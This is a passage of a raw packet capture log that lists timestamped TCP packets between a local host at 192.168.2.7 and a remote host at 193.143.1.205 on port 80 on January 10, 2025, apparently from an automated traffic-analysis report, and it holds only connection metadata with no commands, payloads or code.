Jan 10, 2025 21:39:57.441339016 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.441353083 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.441366911 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.441379070 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.441381931 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.441395044 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.441405058 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.441410065 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.441426039 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.441442966 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.441466093 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.442238092 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442257881 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442270994 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442281961 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442296028 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442306995 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.442310095 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442322969 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442333937 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.442337990 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.442354918 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.442375898 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.448743105 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.448805094 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.448817968 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.448829889 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.448844910 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.448860884 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.448892117 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.486759901 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.486788034 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.486803055 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.486816883 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.486823082 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.486865044 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.525365114 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.525382996 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.525438070 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.564291000 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564308882 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564323902 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564337015 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564363003 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.564395905 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.564474106 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564486980 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564498901 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564522028 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.564748049 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564768076 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564780951 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564788103 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.564793110 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564805984 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564815998 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.564820051 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.564847946 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.565412045 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565423012 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565447092 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.565645933 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565658092 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565670013 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565680981 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565685987 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.565692902 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565702915 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.565706015 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565717936 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565732002 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.565737963 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.565757036 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.566531897 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566544056 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566555977 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566570044 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.566595078 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.566607952 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566620111 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566631079 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566642046 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566647053 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.566658974 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.566685915 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.567620993 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567640066 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567653894 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567666054 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567667007 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.567677975 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567689896 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567703009 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567708969 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.567715883 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.567718029 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.567740917 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.568450928 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568490028 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.568576097 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568588972 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568602085 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568619013 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568624020 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.568624973 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568630934 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568638086 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.568666935 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.569534063 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569550991 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569564104 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569574118 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.569576979 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569588900 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569601059 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569605112 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.569614887 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569627047 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.569629908 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.569653988 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.570528984 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570540905 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570554018 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570565939 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570571899 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.570578098 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570583105 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.570590019 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570602894 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570611954 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.570615053 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.570672989 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.571413994 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571459055 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.571635962 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571647882 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571660995 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571672916 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571683884 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571692944 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571696997 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.571707010 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571712971 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.571738005 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.571743965 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.571777105 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.572470903 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.572559118 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.572571039 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.572582006 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.572592974 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.572618008 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.573400974 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573487043 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573498964 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573513031 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573524952 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573527098 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.573549032 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.573684931 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573698044 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573709965 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.573720932 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.573743105 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.574968100 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.612224102 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.612240076 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.612252951 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.612298012 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.651074886 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651093006 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651106119 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651117086 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651132107 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.651138067 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651149988 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651158094 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.651161909 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651173115 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651185036 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651197910 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651202917 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.651210070 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651222944 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651232004 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.651237011 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651254892 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.651258945 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.651282072 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690215111 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690242052 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690254927 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690267086 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690274000 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690279007 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690289974 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690296888 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690304041 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690315008 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690327883 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690337896 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690341949 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690350056 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690362930 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690362930 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690381050 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690608025 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690644979 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690685034 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690754890 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690788984 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690845013 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690856934 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.690893888 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.690948009 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691005945 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691040993 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691143036 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691155910 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691162109 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691168070 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691175938 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691183090 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691235065 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691246033 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691260099 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691266060 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691273928 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691296101 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691320896 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691364050 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691375971 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691395998 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691406965 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691411972 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691421032 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691440105 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691446066 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691453934 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691464901 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691477060 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691478968 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691489935 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691502094 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691503048 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691515923 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691524029 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691561937 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691586018 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691597939 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691610098 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691622019 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691648006 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691658974 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691678047 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691682100 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691692114 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691704988 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691713095 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.691716909 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.691737890 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695439100 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695450068 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695461988 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695473909 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695486069 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695487976 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695498943 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695501089 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695512056 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695523977 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695532084 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695537090 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695548058 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695549011 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695561886 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695573092 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695574045 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695585966 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695599079 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695600033 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695611954 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695617914 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695624113 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695636034 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695646048 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695657015 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695684910 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695733070 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695770979 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695930004 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695941925 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695952892 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695966005 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695972919 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695976019 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.695977926 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.695991993 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696012974 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696018934 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696033001 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696038961 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696046114 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696057081 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696063042 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696069002 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696080923 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696085930 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696093082 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696105957 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696110964 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696125031 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696130991 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696135998 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696194887 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696212053 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696477890 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696521997 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696619987 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696633101 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696645975 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696659088 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696669102 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696671009 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696681976 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696693897 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696693897 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696707010 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696717978 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696718931 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696732044 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.696743011 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.696770906 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.697935104 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740173101 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740189075 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740201950 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740264893 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740307093 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740319014 CET	80	49845	193.143.1.205	192.168.2.7
